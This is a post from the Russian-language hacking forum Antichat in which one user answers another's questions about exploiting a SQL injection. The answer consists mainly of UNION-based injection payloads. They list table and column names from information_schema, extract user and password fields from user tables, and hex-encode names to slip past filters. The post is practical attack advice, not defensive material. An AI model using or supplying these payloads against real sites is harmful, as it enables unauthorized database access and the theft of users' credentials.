Форум АНТИЧАТ - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Цитата:

Сообщение от preno

1) искать подзапросы не вариант, и в нашем случае его однозначно нету.
2) если найти пользовательские таблицы, то будет тоже самое, инфу выводить как? будет несоответствие типов данных.
3) по поводу захексить колонки без () это как? непонел. Покажи пример, пожалуйста.

пример вывода таблиц:

select 1,2,table_name,3,4 from information_schema.tables limit x,1#

Пример вывода колонок:

select 1,2,column_name,3,4 from information_schema.columns where table_name=0x[hex значение таблы юзеров] limit x,1#

Пример вывода значений из пользовательских табл:

select 1,2,user,password from [пользовательская табла]

С хексом бывает, срабатывают изредко такие слечия:

Пример вывода значений из пользовательских табл:

select 1,2,0x[user],0x[password0] from[пользовательская табла]